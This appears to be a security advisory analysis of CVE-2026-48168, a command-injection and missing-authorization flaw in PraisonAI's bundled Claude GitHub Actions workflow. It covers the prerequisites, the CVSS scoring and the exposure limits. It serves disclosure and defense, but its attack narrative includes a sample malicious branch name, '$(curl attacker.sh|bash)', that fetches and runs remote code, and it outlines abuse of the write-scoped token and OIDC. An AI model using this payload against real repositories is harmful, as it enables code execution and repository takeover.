PraisonAI CVE-2026-48168

Requires that the target repository has deployed the bundled Claude GitHub Actions workflow (.github/workflows/claude.yml) from a pre-4.6.40 release, configured with a GitHub App token carrying write permissions plus OIDC and gh/git access. The concrete prerequisites are: the attacker must be able to open a pull request from a fork (public repos allow this by default) and set an arbitrary fork branch name containing shell metacharacters, then post an @claude comment to trigger the job. No maintainer interaction or trusted-collaborator status is needed because the workflow omits the author-association/collaborator check - that missing check is precisely what removes the usual limiting factor. Limiting factors that reduce real-world exposure: only repositories running this specific workflow with a privileged token are affected; repositories that already restrict the workflow to trusted users, use a read-only token, or never adopted the workflow are not exploitable.

This is a genuine high-priority issue rather than an inflated high-CVSS score. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0) is well-supported: exploitation is remote, low-complexity, requires no privileges beyond the ability to open a public pull request, and no interaction from a maintainer. The scope change (S:C) is justified because code executing in the runner escapes the workflow's intended boundary to abuse a privileged GitHub App token, OIDC, and repository access - potentially compromising the whole repository and downstream trust. No EPSS score, KEV listing, or POC was provided, so the practical likelihood signal is unconfirmed; the attack technique (Actions template/command injection) is well-understood publicly, which raises real-world plausibility even without a published exploit. The main limiting factor is prevalence: PraisonAI is a niche open-source project, and only repositories that actually deployed this specific bundled workflow with the Claude App token are exposed. Note the tag/CWE nuance: it is labeled both Command Injection and Authentication/Authorization Bypass, and CWE-862 (Missing Authorization) captures the missing trusted-collaborator check rather than the injection sink itself - both must be understood together to assess exposure.

An attacker forks the target repository and creates a branch whose name embeds shell metacharacters (for example a name containing $(curl attacker.sh|bash) style payloads), opens a pull request, and posts an @claude comment. The workflow triggers without checking that the attacker is a trusted collaborator, and the unquoted branch name is executed by Bash in the runner; the attacker then leverages the job's write-scoped GitHub App token, OIDC, and git/gh access - chaining through $GITHUB_PATH - to push commits, alter issues/PRs, or abuse OIDC tokens. No public POC was identified, but the injection technique is straightforward given the disclosed root cause.